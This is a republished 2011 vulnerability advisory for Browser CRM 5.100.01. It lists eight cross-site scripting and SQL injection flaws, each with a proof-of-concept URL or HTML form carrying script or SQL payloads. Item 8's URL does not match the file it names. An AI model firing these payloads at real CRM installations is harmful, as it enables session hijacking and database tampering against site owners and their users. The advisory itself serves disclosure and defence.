Multiple vulnerabilities in Browser CRM

2011-12-19T00:00:00
ID SECURITYVULNS:DOC:27450
Type securityvulns
Reporter Securityvulns
Modified 2011-12-19T00:00:00

Description

Vulnerability ID: HTB23059 Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_browser_crm.html Product: Browser CRM Vendor: BrowserCRM Limited ( http://www.browsercrm.com ) Vulnerable Version: 5.100.01 and probably prior Tested Version: 5.100.01 Vendor Notification: 23 November 2011 Vulnerability Type: XSS, SQL Injection Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Browser CRM, which can be exploited to perform cross-site scripting, sql injection attacks.

1) Input appended to the URL after multiple files is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site

The following PoC code is available:

http://[host]/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")

2) Input passed via the "login[]" POST parameters to index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

<form action="http://[host]/index.php" method="post"> <input type="hidden" name="login[host]" value='"><script>alert(1);</script>'> <input type="hidden" name="login[password]" value='"><script>alert(2);</script>'> <input type="hidden" name="login[rebuild_cache]" value='"><script>alert(3);</script>'> <input type="hidden" name="login[remember_me]" value='"><script>alert(4);</script>'> <input type="hidden" name="login[skin]" value='"><script>alert(5);</script>'> <input type="hidden" name="login[username]" value='"><script>alert(6);</script>'> <input type="submit" value="submit" id="btn"> </form>

3) Input passed via the "framed" GET parameter to /licence/index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

4) Input passed via the "framed" GET parameter to /licence/view.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

http://[host]/licence/view.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

5) Input passed via the "login[username]" POST parameter to index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

<form action="http://[host]/index.php" method="post"> <input type="hidden" name="login[username]" value='1" SQL_CODE_HERE'> <input type="submit" value="submit" id="btn"> </form>

6) Input passed via the "login[]" POST parameters to /pub/clients.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:

<form action="http://[host]/pub/clients.php" method="post"> <input type="hidden" name="login[host]" value='"><script>alert(1);</script>'> <input type="hidden" name="login[username]" value='"><script>alert(2);</script>'> <input type="hidden" name="login[password]" value='"><script>alert(3);</script>'> <input type="hidden" name="login[webform]" value='"><script>alert(4);</script>'> <input type="hidden" name="login[disable_email_check]" value='"><script>alert(5);</script>'> <input type="hidden" name="login[client_email]" value='"><script>alert(6);</script>'> <input type="hidden" name="login[client_password]" value='"><script>alert(7);</script>'> <input type="submit" value="submit" id="btn"> </form>

7) Input passed via the "parent_id" GET parameter to /modules/Documents/version_list.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.

8) Input passed via the "contact_id" GET parameter to /modules/Documents/version_list.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC code is available:

http://[host]/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271

Successful exploitation of this vulnerability requires attacker to be registered and logged-in.

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.